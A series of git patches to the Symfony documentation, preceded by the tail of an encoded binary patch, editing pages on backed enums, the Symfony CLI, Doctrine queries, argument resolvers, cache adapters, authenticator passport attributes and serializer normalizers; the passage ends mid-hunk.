zPCxxn^JS?W{59+@tgv(0X}JF@7)Fshh$;kvcY_LnAR~kmw7qZE)iLX*cih?VC0#hY
zbgoG$&}9S#htW)hG`zZgXhxTYugT^0*8CWhz2Cmp8}XST0WwQHR&a=vwBaLN%NL?n
zpZG5RL;%nN0?J}8R!{Y4r)pWdZl<s^@V}(&ziRo&_(kpzb0E9B_D(#()UheFybYla
z;0ld&v=AB<6uxOHE{?ceX-7L4%3<dr@Ifeac8wYcFOFEYyKD9`?GMYM=21Wx_vHE6
z5W{1A!FPJw`R2kjPy-`HscR2>L75FN;braIB&9T^K(eH3xb17qz%~wdyID7bIlL{f
z_Y3mNzmu!;rC(rwLOA@Vbf2?dfOj!jGW_LP@Sph5KXH-$$;ik<+b7j$xun~Sgv1=L
zuksV^8!`C2to-j}T8+mzt7A58spW?Mg5<!d&79z~I(e+tZ*wFBZr~MSvlbBFI9nIw
z;Pr{Qm|CA$vU-J;+B8d3C#v^POVMg>?hI^^Y)*9YWvE=AuU>#mDg9J>P4XrMj?^6o
z`2cx>j^!q55&c}N7I#PJ|8itMgID?b*}&uK@&8JK|Jlr(K?)roMHu{URrZCq<Qa;O
zTICUe9OeP&=)VVMc&iDegRaRHCAla1)`C*otE;%4ih~S3RWY^iFr13=h6r<zk;B&t
zf1%g#0TqBiA6Z-&@(d=_yc0sJjN}|772(%-;#8G=I~#%J%BHu5xe?>bM&N%434F3z
zLMD<o2{5nj|G~JO9!&q1^UPxuC@Z?}@cL0KN^@D3ap6osOFy@$JLyDKXLnNZf!Fr!
zIB?lj){Pg3vU!djDdLsG_3cZBu0KsdE85SWeB3}mlJ%^f3QKmJ>S^b08+mb@%&)AM
zFOE-~TcAqpFRFT3tH8NKIzFzXK*th>2qSyh`+Mtl_#70de%11;FOF+B>@2R?ax8ch
zsIZr?kcLr9dh7!p^(K`SDd+=+9U4h+6mL1VC|uw{4tBKqaX^`)4>)Xlb*tmmv!c7w
zqqY?-NhOotKNoHtfwT<o3pfpMSxIy4n*gt4>JB?EM?X$4=;djs?pI+%Z#km9?|IRE
zyA}I4G(_w>()FsooeOBUoVcRQY*aPB{z(6Q`?I6K#^p5TzL<f>%nLqvSCahAJ%Sic
zbrdCJ*L*tqlvcQ^!zfUS&hCxu7sq2xwO@ui8!-Xp_~iOcgExXstUs1$5t-3InPzDy
zzTbs;?(<<Ga~k<je!g96k5M{(633V`v^Ly_17i3zu3LUF)Mg!Fxc7rn_Igch0^~L?
zQK#lo8zY513ZTAe))fN=Xlq%KnlA15pnpyje~R7=boY)Ol^>q$xerl7qXP}PShc*%
zR{P=UgN&9TtdI!#9%Bm2Z`RNB(}xp^KTfW31rPv+gY(A|StgksZU;f5OJ0uw6l_3X
zX>sRg;`4s}-~#s=?t)4uYXXU`8YyidkpGHRb~zT@d}N)q0Xo*?hS~wkQ6P+;{QL&M
z3w2ug(V=^>Kmi6S$B3kwfnj_&DvPjnoD1ad0a?^`PleF~qX(t$msUFk3b#NLNkf6l
zH<rp62qB)I0a{ZK)NOk@1zrTJ+wa$gx5Zw@;SL$u*t@pS3X_@|s)oK~o2y%kSo^+(
z;Wtg*_tLQaMYe}O$`=x<1CS*^<lq(nT^@o$r7(=6&lhvfXJKlo!Z_jE+RC@@RqzT9
zPEeHFqvmK@=x%RPVvsl!qy}h|%Mc~<YQ3oWV}ladl;wJUW6+JahvTak^%|U>pc{3D
zO!n|y%DF~w6Qi&QGpv*5*hI4SK??TTO`jdOu8yhQkQH34-SE4~*oOJcW>1oLADQEf
zcHjK8(}kOu{@bvSsGZ!YSS@qm#urS{jGOy-t?X4&E)vl@J3upT@)&$8OpI1r7`2dh
z@?m5SY2B1Fvq|gfJjXTy0yDQdm)xaG;<eHzb(JUHd#znDh_fIecT28_6YmXL*-h@x
zzVSzC|0qB~Ar-u%llyJPz+M;VS`#W2l|2cUuaTV}*l*%FKaAY!{J^>FhwYQPOx`w9
zdS;-9RDa67XM~}Fmh?o~DB(S?jB6ds3{fYHU)m}YTw0U)0|w@(6K`&PHUwBv5?Y0W
zTw;A{v5}iv0pnuzZ1gQ&ix?dR1(**l2V7}DnmB{aPMHxcr8Q9Z6d<hT=h}d=YRMA8
zGMnbPrPJo9XM5m^ZD>jP;60iHkLkPz>C3K`4)E!wK(&%E4UZ_}RVB~(z6Y;EF4c3y
zsB=Q^%Rob_;3RM8t{CA*1|q;YTd=VW540IfK;%RGx$#74)@HiJhAR4X1$iEZtTc3q
z?ay=qkbd^1d;eu7hR1`R9KhPbM5JlXu())jGnjn~GZ8^^*I2^sk3$3z4^#j;Xm8`1
zGt2vwB7}&4vG-B0!b^llTrG|xoFu#R(YSWPW1e3~Ip@JvfOzNn8E7T{nY<_l=b5wc
zbwWs|x^$u;rM&je8n&*w6%S;3O!qphpp)yhQR$jVE!m7QKa98G6+R<ekJ0vajFg)6
z%X%b;ov=QZH-;!G74Ty(4vX4ad?N_PyG$Dil~kKW?cL^^R0t!ldp}x#drJo9<UEoY
zr7l3@+|kknKtDh#9-5f$p{hYYh>Bo&r>D(2GAA4b4W(R7opZ@mc~<pN%%twkn<Wc@
z2~pb<`x5YGsS)bXaFsl+c(w|Sw402V!?F7fiIAS0j1xi;+GS^VPf)j|)E)cHFjIAD
zsl!u!S>C$6aplh=dHzfHYc!Ie7=QhpB30v_fREAnFjn6h^9+#5$Xj4kxYf%^*7wRv
z^_i<=*Wy%>na`<P26zO7Ys^I@9q1N%I!v9EnSXne^kL#y`zd&WU9oqhXD@oaTyj2B
z3)+Br=ojszuevyM@7`N71mKW3pZd~TE_Tv_T~(046TdW=6jMIDAw;gKG!2ng(nj^q
zF@I`RGFQc<d!0R^!jgy+rT=g#|KU>p6_@g_$fc43vq{_`0}vramP;INf4n6Av;TkD
X1N&e@3_$U<_~;*|g(nRcjb8gVC~13+


From 132e0b962a1bf64f2a127871a19a01cc19fd4cc5 Mon Sep 17 00:00:00 2001
From: Einenlum <yann.rabiller@gmail.com>
Date: Fri, 31 Dec 2021 11:38:38 +0100
Subject: [PATCH 1563/5766] Use a backed string enum in the EnumType example

A backed enum must declare the type of backed enum. Not declaring it is
not valid.
---
 reference/forms/types/enum.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 51fefe016f0..4e598f44e81 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -36,7 +36,7 @@ short) defined somewhere in your application. This enum has to be of type
     // src/Config/TextAlign.php
     namespace App\Config;
 
-    enum TextAlign
+    enum TextAlign: string
     {
         case Left = 'Left/Start aligned';
         case Center = 'Center/Middle aligned';

From cdabcf913a546706a7c6241ddf77c11445f850b1 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 31 Dec 2021 13:12:28 +0100
Subject: [PATCH 1564/5766] Reference the open sourced Symfony CLI code

---
 setup.rst                | 7 +++----
 setup/symfony_server.rst | 7 +++----
 2 files changed, 6 insertions(+), 8 deletions(-)

diff --git a/setup.rst b/setup.rst
index 795c9349437..dfc5f8fc303 100644
--- a/setup.rst
+++ b/setup.rst
@@ -39,9 +39,8 @@ requirements. Open your console terminal and run this command:
 
 .. note::
 
-    The Symfony binary is developed internally at Symfony. If you want to
-    report a bug or suggest a new feature, please create an issue on
-    `symfony/cli`_.
+    The Symfony CLI is written in Go and you can contribute to it in the
+    `symfony-cli/symfony-cli GitHub repository`_.
 
 .. _creating-symfony-applications:
 
@@ -310,7 +309,7 @@ Learn More
 .. _`Stellar Development with Symfony`: https://symfonycasts.com/screencast/symfony
 .. _`Install Composer`: https://getcomposer.org/download/
 .. _`install Symfony CLI`: https://symfony.com/download
-.. _`symfony/cli`: https://github.com/symfony/cli
+.. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex
 .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index ff2d060a5cb..2c55dcc77e3 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -19,9 +19,8 @@ The Symfony server is part of the ``symfony`` binary created when you
 
 .. note::
 
-    The Symfony binary is developed internally at Symfony. If you want to
-    report a bug or suggest a new feature, please create an issue on
-    `symfony/cli`_.
+   You can view and contribute to the Symfony CLI source in the
+   `symfony-cli/symfony-cli GitHub repository`_.
 
 Getting Started
 ---------------
@@ -421,7 +420,7 @@ debug any issues.
 `Read SymfonyCloud technical docs`_.
 
 .. _`install Symfony`: https://symfony.com/download
-.. _`symfony/cli`: https://github.com/symfony/cli
+.. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli
 .. _`Docker`: https://en.wikipedia.org/wiki/Docker_(software)
 .. _`SymfonyCloud`: https://symfony.com/cloud/
 .. _`Read SymfonyCloud technical docs`: https://symfony.com/doc/master/cloud/intro.html

From c3f359ee1024d0bbc4d5ead6a4be83f41075a641 Mon Sep 17 00:00:00 2001
From: Samuel NELA <hello@samnela.com>
Date: Fri, 31 Dec 2021 23:40:24 +0100
Subject: [PATCH 1565/5766] [Doctrine] use executeQuery instead of execute

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 3b6a5b46cdd..f04a98c53d9 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -851,7 +851,7 @@ In addition, you can query directly with SQL if you need to::
                 ORDER BY p.price ASC
                 ';
             $stmt = $conn->prepare($sql);
-            $stmt->execute(['price' => $price]);
+            $stmt->executeQuery(['price' => $price]);
 
             // returns an array of arrays (i.e. a raw data set)
             return $stmt->fetchAllAssociative();

From 2bb4dedd19ede2fb52e61b790cb8ec87445bed95 Mon Sep 17 00:00:00 2001
From: Daniel Klein <danielklein@airpost.net>
Date: Sun, 2 Jan 2022 11:09:36 +1100
Subject: [PATCH 1566/5766] Clarify instructions by changing project name to
 project directory

---
 best_practices.rst |  2 +-
 setup.rst          | 20 ++++++++++----------
 2 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 3ddb7aa67ac..dcc0d9eb3f2 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -30,7 +30,7 @@ to create new Symfony applications:
 
 .. code-block:: terminal
 
-    $ symfony new my_project_name
+    $ symfony new my_project_directory
 
 Under the hood, this Symfony binary command executes the needed `Composer`_
 command to :ref:`create a new Symfony application <creating-symfony-applications>`
diff --git a/setup.rst b/setup.rst
index 795c9349437..ad7d3de15b2 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version=4.4 --full
+    $ symfony new my_project_directory --version=4.4 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version=4.4
+    $ symfony new my_project_directory --version=4.4
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -69,13 +69,13 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/website-skeleton:"^4.4" my_project_directory
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/skeleton:"^4.4" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
-will create a new ``my_project_name/`` directory, download some dependencies
+will create a new ``my_project_directory/`` directory, download some dependencies
 into it and even generate the basic directories and files you'll need to get
 started. In other words, your new application is ready!
 
@@ -258,20 +258,20 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
 .. code-block:: terminal
 
     # use the most recent LTS version
-    $ symfony new my_project_name --version=lts
+    $ symfony new my_project_directory --version=lts
 
     # use the 'next' Symfony version to be released (still in development)
-    $ symfony new my_project_name --version=next
+    $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_name --version=4.4
+    $ symfony new my_project_directory --version=4.4
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/skeleton:"^4.4" my_project_directory
 
 The Symfony Demo application
 ----------------------------
@@ -284,7 +284,7 @@ Run this command to create a new project based on the Symfony Demo application:
 
 .. code-block:: terminal
 
-    $ symfony new my_project_name --demo
+    $ symfony new my_project_directory --demo
 
 Start Coding!
 -------------

From 12f72b612da0e9929121f9e7ca2d81dbcc5e2551 Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <maxime.steinhausser@elao.com>
Date: Mon, 3 Jan 2022 11:56:05 +0100
Subject: [PATCH 1567/5766] [HttpKernel] Add a controller argument resolver for
 backed enums

---
 controller/argument_value_resolver.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index da212517f0c..038cba4dbfe 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -20,6 +20,10 @@ Built-In Value Resolvers
 Symfony ships with the following value resolvers in the
 :doc:`HttpKernel component </components/http_kernel>`:
 
+:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\BackedEnumValueResolver`
+    Attempts to resolve a backed enum case from a route path parameter that matches the name of the argument.
+    Leads to a 404 Not Found response if the value isn't a valid backing value for the enum type.
+
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestAttributeValueResolver`
     Attempts to find a request attribute that matches the name of the argument.
 

From ceedccae7c74573f20d00363c3f7b99d6e07b913 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 3 Jan 2022 15:08:35 +0100
Subject: [PATCH 1568/5766] Explaining how to inject the form factory

The other sentence I deleted was just repeating what was already said a few lines above.
---
 components/form.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index dfbcfdfdcb4..0f3f0fdfa9d 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -370,10 +370,6 @@ you need to. If your application uses global or static variables (not usually a
 good idea), then you can store the object on some static class or do something
 similar.
 
-Regardless of how you architect your application, remember that you
-should only have one form factory and that you'll need to be able to access
-it throughout your application.
-
 .. _component-form-intro-create-simple-form:
 
 Creating a simple Form
@@ -382,7 +378,8 @@ Creating a simple Form
 .. tip::
 
     If you're using the Symfony Framework, then the form factory is available
-    automatically as a service called ``form.factory``. Also, the default
+    automatically as a service called ``form.factory``, you can inject it as
+    ``Symfony\Component\Form\FormFactoryInterface``. Also, the default
     base controller class has a :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::createFormBuilder`
     method, which is a shortcut to fetch the form factory and call ``createBuilder()``
     on it.

From ef2a80307f1ba5e6c2fdf7baff33246b4192d2cd Mon Sep 17 00:00:00 2001
From: Nicolas PHILIPPE <nikophil@gmail.com>
Date: Mon, 3 Jan 2022 17:06:26 +0100
Subject: [PATCH 1569/5766] [Messenger] document SerializedMessageStamp

---
 messenger.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 6f6ca0caa55..d9f6350420d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -839,6 +839,15 @@ this is configurable for each transport:
     Symfony triggers a :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`
     when a message is retried so you can run your own logic.
 
+.. note::
+
+    Thanks to :class:`Symfony\\Component\\Messenger\\Stamp\\SerializedMessageStamp` the serialized form of the message
+    is saved, which prevents to serialize it again if the message is retried.
+
+    .. versionadded:: 6.1
+
+        The ``SerializedMessageStamp`` class was introduced in Symfony 6.1.
+
 Avoiding Retrying
 ~~~~~~~~~~~~~~~~~
 

From 2a9d69cb364243babfd19c65e1882cedc37a1598 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Sat, 1 Jan 2022 14:20:39 +0100
Subject: [PATCH 1570/5766] Update Checking Security Vulnerabilities doc part

---
 setup.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/setup.rst b/setup.rst
index 795c9349437..ada351b13f4 100644
--- a/setup.rst
+++ b/setup.rst
@@ -225,15 +225,11 @@ require --no-unpack ...`` option to disable unpacking.
 Checking Security Vulnerabilities
 ---------------------------------
 
-The ``symfony`` binary created when you `install Symfony CLI`_ provides a command to
-check whether your project's dependencies contain any known security
-vulnerability:
+A good and recommended security practice is to check from time to time whether your
+project's dependencies contain any known security vulnerability. You can leverage the
+`Local PHP Security Checker`_ to do so.
 
-.. code-block:: terminal
-
-    $ symfony check:security
-
-A good security practice is to execute this command regularly to be able to
+You can also execute this process regularly to be able to
 update or replace compromised dependencies as soon as possible. The security
 check is done locally by fetching the public `PHP security advisories database`_,
 so your ``composer.lock`` file is not sent on the network.
@@ -314,6 +310,7 @@ Learn More
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex
 .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories
+.. _`Local PHP Security Checker`: https://github.com/fabpot/local-php-security-checker
 .. _`Symfony releases`: https://symfony.com/releases
 .. _`Main recipe repository`: https://github.com/symfony/recipes
 .. _`Contrib recipe repository`: https://github.com/symfony/recipes-contrib

From 659c49099880df722e0966c50492add95dd913b6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Jan 2022 17:40:18 +0100
Subject: [PATCH 1571/5766] Fix minor typo

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index 7bb142bf421..1182f7d89b4 100644
--- a/setup.rst
+++ b/setup.rst
@@ -225,7 +225,7 @@ Checking Security Vulnerabilities
 ---------------------------------
 
 A good and recommended security practice is to check from time to time whether your
-project's dependencies contain any known security vulnerability. You can leverage the
+project's dependencies contain any known security vulnerabilities. You can leverage the
 `Local PHP Security Checker`_ to do so.
 
 You can also execute this process regularly to be able to

From 4fe62c6f261c07310885dd11a4255ae625c8d597 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Jan 2022 17:55:06 +0100
Subject: [PATCH 1572/5766] Add a code example for the BackendEnum argument
 resolver

---
 controller/argument_value_resolver.rst | 32 ++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 038cba4dbfe..aae76b0da1c 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -24,6 +24,38 @@ Symfony ships with the following value resolvers in the
     Attempts to resolve a backed enum case from a route path parameter that matches the name of the argument.
     Leads to a 404 Not Found response if the value isn't a valid backing value for the enum type.
 
+    For example, if your backed enum is::
+
+        namespace App\Model;
+
+        enum Suit: string
+        {
+            case Hearts = 'H';
+            case Diamonds = 'D';
+            case Clubs = 'C';
+            case Spades = 'S';
+        }
+
+    And your controller contains the following:
+
+        class CardController
+        {
+            #[Route('/cards/{suit}')]
+            public function list(Suit $suit): Response
+            {
+                // ...
+            }
+
+            // ...
+        }
+
+    When requesting the ``/cards/H`` URL, the ``$suit`` variable will store the
+    ``Suit::Hearts`` case.
+
+    .. versionadded:: 6.1
+
+        The ``BackedEnumValueResolver`` was introduced in Symfony 6.1.
+
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestAttributeValueResolver`
     Attempts to find a request attribute that matches the name of the argument.
 

From e7731df239ad1a36089983054fb236f95936b535 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Jan 2022 17:55:51 +0100
Subject: [PATCH 1573/5766] Fix a code syntax error in the previous commit

---
 controller/argument_value_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index aae76b0da1c..79cfc9abb6d 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -36,7 +36,7 @@ Symfony ships with the following value resolvers in the
             case Spades = 'S';
         }
 
-    And your controller contains the following:
+    And your controller contains the following::
 
         class CardController
         {

From 0ec5a2cff34dd84e50263efb591d4ba079f7f653 Mon Sep 17 00:00:00 2001
From: Rosemary Orchard <16113535+RosemaryOrchard@users.noreply.github.com>
Date: Mon, 3 Jan 2022 20:05:07 +0000
Subject: [PATCH 1574/5766] [Cache] Fix Cache Couchbase duplicate page titles

---
 components/cache/adapters/couchbasebucket_adapter.rst     | 2 +-
 components/cache/adapters/couchbasecollection_adapter.rst | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 9ab637eb38b..898f06c45a4 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -4,7 +4,7 @@
 
 .. _couchbase-adapter:
 
-Couchbase Cache Adapter
+Couchbase Bucket Cache Adapter
 =======================
 
 .. versionadded:: 5.1
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index f3aff72e6ac..23cd24d565b 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -4,12 +4,12 @@
 
 .. _couchbase-collection-adapter:
 
-Couchbase Cache Adapter
+Couchbase Collection Cache Adapter
 =======================
 
 .. versionadded:: 5.4
 
-    The Couchbase Cache Adapter was introduced in Symfony 5.4.
+    The CouchbaseCollectionAdapter was introduced in Symfony 5.4.
 
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
 instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the

From 2a4693f8f5447c98752232feeb5d9d555836196e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Jan 2022 13:20:09 +0100
Subject: [PATCH 1575/5766] Minor tweaks

---
 components/cache/adapters/couchbasebucket_adapter.rst     | 4 ++--
 components/cache/adapters/couchbasecollection_adapter.rst | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 898f06c45a4..cc99db1c967 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -5,11 +5,11 @@
 .. _couchbase-adapter:
 
 Couchbase Bucket Cache Adapter
-=======================
+==============================
 
 .. versionadded:: 5.1
 
-    The CouchbaseBucketAdapter was introduced in Symfony 5.1.
+    The Couchbase Bucket adapter was introduced in Symfony 5.1.
 
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
 instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index 23cd24d565b..100acf14faa 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -5,11 +5,11 @@
 .. _couchbase-collection-adapter:
 
 Couchbase Collection Cache Adapter
-=======================
+==================================
 
 .. versionadded:: 5.4
 
-    The CouchbaseCollectionAdapter was introduced in Symfony 5.4.
+    The Couchbase Collection adapter was introduced in Symfony 5.4.
 
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
 instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the

From d913e63460137291bd357ade245de8d71e9e804b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Jan 2022 15:46:23 +0100
Subject: [PATCH 1576/5766] [Security] Move Passport Attributes to their own
 section

---
 security/custom_authenticator.rst | 52 +++++++++++++++----------------
 1 file changed, 26 insertions(+), 26 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index cd18e7bbd81..bc5a8ea7b30 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -342,39 +342,39 @@ would initialize the passport like this::
         }
     }
 
-.. tip::
+Passport Attributes
+-------------------
 
-    Besides badges, passports can define attributes, which allows the
-    ``authenticate()`` method to store arbitrary information in the
-    passport to access it from other authenticator methods (e.g.
-    ``createAuthenticatedToken()``)::
+.. versionadded:: 5.2
 
-        // ...
-        use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+    Passport attributes were introduced in Symfony 5.2.
 
-        class LoginAuthenticator extends AbstractAuthenticator
-        {
-            // ...
+Besides badges, passports can define attributes, which allows the ``authenticate()``
+method to store arbitrary information in the passport to access it from other
+authenticator methods (e.g. ``createAuthenticatedToken()``)::
 
-            public function authenticate(Request $request): PassportInterface
-            {
-                // ... process the request
+    // ...
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+
+    class LoginAuthenticator extends AbstractAuthenticator
+    {
+        // ...
 
-                $passport = new SelfValidatingPassport(new UserBadge($username), []);
+        public function authenticate(Request $request): PassportInterface
+        {
+            // ... process the request
 
-                // set a custom attribute (e.g. scope)
-                $passport->setAttribute('scope', $oauthScope);
+            $passport = new SelfValidatingPassport(new UserBadge($username), []);
 
-                return $passport;
-            }
+            // set a custom attribute (e.g. scope)
+            $passport->setAttribute('scope', $oauthScope);
 
-            public function createAuthenticatedToken(PassportInterface $passport, string $firewallName): TokenInterface
-            {
-                // read the attribute value
-                return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));
-            }
+            return $passport;
         }
 
-.. versionadded:: 5.2
-
-    Passport attributes were introduced in Symfony 5.2.
+        public function createAuthenticatedToken(PassportInterface $passport, string $firewallName): TokenInterface
+        {
+            // read the attribute value
+            return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));
+        }
+    }

From 131bc2043886d6745e0ed52c3d6a996a25c08195 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 5 Jan 2022 10:16:20 +0100
Subject: [PATCH 1577/5766] Fix invalid statement about normalizers

- not all normalizers are enabled by default
---
 components/serializer.rst | 51 +++++++++++++++++++++++++++++++++++++--
 serializer.rst            | 47 ------------------------------------
 2 files changed, 49 insertions(+), 49 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 2e43ac571f5..db38513e36a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -801,8 +801,55 @@ The Serializer component provides several built-in normalizers:
     You can also create your own Normalizer to use another structure. Read more at
     :doc:`/serializer/custom_normalizer`.
 
-All these normalizers are enabled by default when using the Serializer component
-in a Symfony application.
+Certain normalizers are enabled by default when using the Serializer component
+in a Symfony application, additional ones can be enabled by tagging them with
+:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.
+
+Here is an example of how to enable the built-in
+:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`, a
+faster alternative to the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            get_set_method_normalizer:
+                class: Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer
+                tags: [serializer.normalizer]
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="get_set_method_normalizer" class="Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer">
+                    <tag name="serializer.normalizer"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
+                ->tag('serializer.normalizer')
+            ;
+        };
 
 .. _component-serializer-encoders:
 
diff --git a/serializer.rst b/serializer.rst
index 4216d619c15..3fecc7bec8e 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -79,53 +79,6 @@ possible to set the priority of the tag in order to decide the matching order.
     ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
     usage and exposing internal details.
 
-Here is an example on how to load the built-in
-:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`, a
-faster alternative to the `ObjectNormalizer` when data objects always use
-getters (``getXxx()``), issers (``isXxx()``) or hassers (``hasXxx()``) to read
-properties and setters (``setXxx()``) to change properties:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            get_set_method_normalizer:
-                class: Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer
-                tags: [serializer.normalizer]
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
